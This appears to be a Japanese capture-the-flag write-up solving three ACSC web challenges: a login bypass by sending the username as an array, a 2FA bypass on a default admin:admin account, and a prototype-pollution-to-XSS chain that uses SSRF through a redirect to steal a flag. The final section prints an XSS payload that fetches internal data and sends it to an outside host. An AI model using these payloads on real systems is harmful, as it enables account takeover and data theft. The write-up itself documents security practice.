- Login! (web: 100 pt / 189 solves)
- Too Faulty (web: 150 pt / 67 solves)
- Buggy Bounty (web: 275 pt / 54 solves)
Login! (web: 100 pt / 189 solves)
Here comes yet another boring login page ...
シンプルなログインフォーム。100ptだしSQLiかな~とか考えながらソースを開く。
const USER_DB = { user: { username: 'user', password: crypto.randomBytes(32).toString('hex') }, guest: { username: 'guest', password: 'guest' } };
USER_DB
には user と guest の二つのユーザがいる。
guest はパスワード guest で固定なのに対して、user のパスワードは推測困難。
次はログイン時の処理。
app.post('/login', (req, res) => { const { username, password } = req.body; if (username.length > 6) return res.send('Username is too long'); const user = USER_DB[username]; if (user && user.password == password) { if (username === 'guest') { res.send('Welcome, guest. You do not have permission to view the flag'); } else { res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`); } } else { res.send('Invalid username or password'); } });
ユーザ入力として受け取った username
を使い USER_DB[username]
を user
として保存後、
user
が undefined
でない && user.password
が入力値の password
と等しいときにログイン成功。
ログイン後にユーザ名が guest でなければ flag がもらえるようだ。
途中でユーザ名の長さを制限していることに気付く。
if (username.length > 6) return res.send('Username is too long');
こういう書き方をされると、反射で配列にしたくなる呪いにかかっている。
以下のようにすれば username.length
は 1 となり、USER_DB[username]
は username
に暗黙的な toString
がされて guest でログインが成功するはず。
username[]=guest&password=guest
username
を配列で送信しているので username === 'guest'
は当然 false
となり、flag が返ってくる。
ACSC{y3t_an0th3r_l0gin_byp4ss}
Too Faulty (web: 150 pt / 67 solves)
The admin at TooFaulty has led an overhaul of their authentication mechanism. This initiative includes the incorporation of Two-Factor Authentication and the assurance of a seamless login process through the implementation of a unique device identification solution.
ソースコードなし
またログインフォーム。今度は Register があるので、とりあえず登録してログインしてみる。
適当な認証情報でログインすると role: user と言われるので、権限昇格か role: admin なアカウントの奪取が目的かな~となる。
2FA をセットアップできるので、やってみる。
スマホアプリ等で読み込めば 2FA の設定ができる。一度ログアウトしてログインしなおしてみる。
今度は 2FA の画面が出てきた。丁寧に CAPTCHA もついてる。
Trust only this devide をオンにすると、その端末からはそれ以降 2FA が必要なくなる。User-Agent か何かで見てるのかなと考える。
認証後はさっきと変わらず Setup 2FA と Logout しかないページとなるので、これで機能は全部だろうか。
ちなみに Setup 2FA はアカウント毎に 1 度しか利用できないようだった。
「完全エスパーで変なパラメーター名とかはレビューで弾かれるだろう」と信じて権限昇格を試みる。
ユーザ登録やログインなどの処理にすべて "role": "admin"
とかのパラメータをつけて送信してみるが反応なし。
「完全エスパーで変な認証情報とかはレビューで弾かれるだろう」と信じて role: admin アカウントの奪取を試みる。
admin:admin
としてログインしてみたところ、Verify 2FA の画面が出てきた。
ちなみに環境が共有なので他の参加者が作成してることも考えられるが、定期的なデータベースリセットで自分のアカウントが消えても admin:admin
は残存していることを確認できたのでこれで間違いなさそう。
この時点で二つの方針を考えていた。
- Verify 2FA 画面の「Trust only this」を利用して
admin:admin
のデバイスを総当たり - 認証のロジックのバグをついてガチャガチャやる
前者はかなり気が滅入るので、後者でガチャガチャやっていたら以下で行けた。
勝手に /2FA
-> /
とリダイレクトしていってログイン成功した判定になった。ラッキー。
ACSC{T0o_F4ulty_T0_B3_4dm1n}
Buggy Bounty (web: 275 pt / 54 solves)
Are you a skilled security researcher or ethical hacker looking for a challenging and rewarding opportunity? Look no further! We're excited to invite you to participate in our highest-paying Buggy Bounty Program yet.
id, url, explanation を送信するフォーム。
送信時、botが動く。
router.post("/report_bug", async (req, res) => { try { const id = req.body.id; const url = req.body.url; const report = req.body.report; await visit( `http://127.0.0.1/triage?id=${id}&url=${url}&report=${report}`, authSecret );
bot は指定されたパラメーターで /triage
にアクセスするのみ。
const visit = async (url, authSecret) => { try { const browser = await puppeteer.launch(browser_options); let context = await browser.createIncognitoBrowserContext(); let page = await context.newPage(); await page.setCookie({ name: "auth", value: authSecret, domain: "127.0.0.1", }); await page.goto(url, { waitUntil: "networkidle2", timeout: 5000, }); await page.waitForTimeout(4000); await browser.close();
/triage
は以下のとおり。
router.get("/triage", (req, res) => { try { if (!isAdmin(req)) { return res.status(401).send({ err: "Permission denied", }); } let bug_id = req.query.id; let bug_url = req.query.url; let bug_report = req.query.report; return res.render("triage.html", { id: bug_id, url: bug_url, report: bug_report, });
<div id="screen"> <p class="font" id="product">Report ID:~$ {{id}}</p> <p class="font" id="product">Report URL:~$ {{url}}</p> <p class="font">Report:~$ {{report}}</p> </div>
/triage
にあった isAdmin
を見てみる。
const isAdmin = (req, res) => { return req.ip === "127.0.0.1" && req.cookies["auth"] === authSecret; };
127.0.0.1
かつ Cookie が正しくないとアクセスできないらしい。
通常の遷移で使われていないエンドポイントがひとつ。/check_valid_url
は ssrfFilter
を使いながら proxy 的に動いてくれる。
const ssrfFilter = require("ssrf-req-filter"); (snip) router.get("/check_valid_url", async (req, res) => { try { if (!isAdmin(req)) { return res.status(401).send({ err: "Permission denied", }); } const report_url = req.query.url; const customAgent = ssrfFilter(report_url); request( { url: report_url, agent: customAgent }, function (error, response, body) { if (!error && response.statusCode == 200) { res.send(body);
flag は別のコンテナにあり、ポートは外部に開いてないのでさっきの ssrfFilter
を回避しながら盗めるのかなと考える。
@app.route('/bounty', methods=['GET']) def get_bounty(): flag = os.environ.get('FLAG') if flag: return flag
とりあえず、bot が /triage
にアクセスしたときにどうにかして XSS しないと始まらない。
isAdmin
をコメントアウトしてガチャガチャやっていたら、arg.js の v1.4 で Arg.parse
を使っている。
var params = Arg.parse(location.search);
Prototype Pollution が既知らしいので、これが使えそう。
後はガジェット探しだが、「謎に読み込んでる launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js
は何のファイルなんだろう・・・」と調べたら一瞬でガジェットが見つかった。
?__proto__[SRC]=<img/src/onerror%3dalert(1)>
でアラートが確認できた。
後は XSS 経由で /check_valid_url
で SSRF がしたい。ガチャガチャやっていたらよくわからないがリダイレクトで行けた。
Location: http://reward:5000/bounty
を発行するサーバを準備して、URLを指定すると flag が表示される。
http://localhost/check_valid_url?url=https://example.jp
flag が同じドメイン内に表示できたので、後はそれを盗んでやるだけ。
fetch("/check_valid_url?url=https://example.jp") .then((r) => r.text()) .then((t) => { fetch("https://example.jp?" + t) })
最終的なURLは以下。URLエンコードとにらめっこしながら頑張った。
http://localhost/triage?id=1111&url=gheogheo&report=a&__proto__[SRC]=%3Cimg/src/onerror%3D%27fetch(%22%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fexample.jp%22).then((r)%3D%3Er.text()).then((t)%3D%3E%7Bfetch(%22https%3A%2F%2Fexample.jp%3F%22%2Bt)%7D)%27%3E
ということで、id と url を適当に埋めて report に a&__proto__[SRC]=%3Cimg/src/onerror%3D%27fetch(%22%2Fcheck_valid_url%3Furl%3Dhttps%3A%2F%2Fexample.jp%22).then((r)%3D%3Er.text()).then((t)%3D%3E%7Bfetch(%22https%3A%2F%2Fexample.jp%3F%22%2Bt)%7D)%27%3E
の部分を渡せば flag が手に入る。
ACSC{y0u_4ch1eved_th3_h1ghest_r3w4rd_1n_th3_Buggy_Bounty_pr0gr4m}